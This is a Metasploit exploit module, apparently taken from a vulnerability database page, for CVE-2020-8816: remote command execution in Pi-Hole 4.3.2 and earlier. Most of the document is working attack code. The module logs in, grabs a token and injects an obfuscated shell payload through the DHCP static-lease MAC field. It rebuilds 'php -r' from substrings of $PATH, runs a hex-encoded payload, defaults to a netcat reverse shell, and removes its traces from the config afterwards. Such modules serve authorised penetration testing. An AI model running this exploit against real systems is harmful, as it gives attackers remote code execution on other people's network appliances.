##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Pihole
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pi-Hole DHCP MAC OS Command Execution',
'Description' => %q{
This exploits a command execution in Pi-Hole <= 4.3.2. A new DHCP static lease is added
with a MAC address which includes an RCE. Exploitation requires /opt/pihole to be first
in the $PATH due to exploitation constraints. DHCP server is not required to be running.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'François Renaud-Philippon <[email protected]>' # original PoC, discovery
],
'References' => [
['URL', 'http://web.archive.org/web/20230521153651/https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/'],
['CVE', '2020-8816']
],
'Platform' => ['unix'],
'Privileged' => false,
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2020-03-28',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
},
'Payload' => {
'BadChars' => "\x00"
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS],
'RelatedModules' => ['exploit/linux/local/pihole_remove_commands_lpe']
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
]
)
end
def check
begin
_version, web_version, _ftl = get_versions
if web_version.nil?
print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")
return Exploit::CheckCode::Unknown
end
if web_version && Rex::Version.new(web_version) <= Rex::Version.new('4.3.2')
vprint_good("Web Interface Version Detected: #{web_version}")
return CheckCode::Appears
else
vprint_bad("Web Interface Version Detected: #{web_version}")
return CheckCode::Safe
end
rescue ::Rex::ConnectionError
print_error("#{peer} - Could not connect to the web service")
return Exploit::CheckCode::Unknown
end
CheckCode::Safe
end
def add_static(payload, token)
# we don't use vars_post due to the need to have duplicate fields
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'ctype' => 'application/x-www-form-urlencoded',
'method' => 'POST',
'keep_cookies' => true,
'vars_get' => {
'tab' => 'piholedhcp'
},
'data' => [
'AddMAC=',
'AddIP=',
'AddHostname=',
"AddMAC=#{URI.encode_www_form_component(payload)}",
"AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", # to_i to remove leading 0s
"AddHostname=#{rand_text_alphanumeric(8..12)}",
'addstatic=',
'field=DHCP',
"token=#{URI.encode_www_form_component(token)}"
].join('&')
)
end
def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end
begin
@macs = []
# get cookie
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'keep_cookies' => true
)
# check login
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'keep_cookies' => true,
'vars_get' => {
'tab' => 'piholedhcp'
}
)
# check if we got hit by a login prompt
if res && res.body.include?('Sign in to start your session')
res = login(datastore['PASSWORD'])
fail_with(Msf::Exploit::Failure::BadConfig, 'Incorrect Password') if res.nil?
end
token = get_token('piholedhcp')
if token.nil?
fail_with(Failure::UnexpectedReply, 'Unable to find token')
end
print_status("Using token: #{token}")
# from the excellent writeup about the vuln:
# The biggest difficulty in exploiting this vulnerability is that the user input is
# capitalized through a call to "strtoupper". Because of this, no lower case character
# can be used in the resulting injection.
# we'd like to execute something similar to this:
# aaaaaaaaaaaa&&php -r 'PAYLOAD'
# however, we need to pull p, h, and r from the system due to all input getting capitalized
# this is performed by pulling them from the $PATH which should be something like
# /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# first payload we send is to check that this is in the path to verify exploitation is possible
mac = rand_text_hex(12).upcase
@macs << mac
vprint_status("Validating path with MAC: #{mac}")
res = add_static("#{mac}$PATH", token)
# ruby regex w/ interpolate and named assignments needs to be in .match instead of =~
env = res.body.match(/value="#{mac}(?<env>.*)">/)
if env && env[:env].starts_with?('/opt/pihole')
print_good("System env path exploitable: #{env[:env]}")
else
msg = '/opt/pihole not in path. Exploitation not possible.'
if env
msg += " Path: #{env[:env]}"
end
fail_with(Failure::UnexpectedReply, msg)
end
# once we have php -r, we then need to pass a payload. So we do this via php command
# exec on hex2bin since our payload in hex caps will still get processed and executed.
mac = rand_text_hex(12).upcase
@macs << mac
print_status("Payload MAC will be: #{mac}")
shellcode = "#{mac}&&" # mac address, arbitrary
shellcode << 'W=${PATH#/???/}&&'
shellcode << 'P=${W%%?????:*}&&'
shellcode << 'X=${PATH#/???/??}&&'
shellcode << 'H=${X%%???:*}&&'
shellcode << 'Z=${PATH#*:/??}&&'
shellcode << 'R=${Z%%/*}&&$'
shellcode << "P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(" # php -r exec(hex2bin(
shellcode << '"'
shellcode << payload.encoded.unpack('H*').join('') # hex encode payload
shellcode << '"));'
shellcode << "'&&"
vprint_status("Shellcode: #{shellcode}")
print_status('Sending Exploit')
add_static(shellcode, token)
# we don't use vars_post due to the need to have duplicate fields
ip = '192.168'
2.times { ip = "#{ip}.#{rand_text_numeric(1..2).to_i}" } # to_i removes leading zeroes
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'ctype' => 'application/x-www-form-urlencoded',
'keep_cookies' => true,
'method' => 'POST',
'vars_get' => {
'tab' => 'piholedhcp'
},
'data' => [
'AddMAC=',
'AddIP=',
'AddHostname=',
"AddMAC=#{URI.encode_www_form_component(shellcode)}",
"AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", # to_i to remove leading 0s
"AddHostname=#{rand_text_alphanumeric(3..8)}",
'addstatic=',
'field=DHCP',
"token=#{URI.encode_www_form_component(token)}"
].join('&')
)
# entries are written to /etc/dnsmasq.d/04-pihole-static-dhcp.conf
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
def on_new_session(session)
super
@macs.each do |mac|
print_status("Attempting to clean #{mac} from config")
session.shell_command_token("sudo pihole -a removestaticdhcp #{mac}")
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation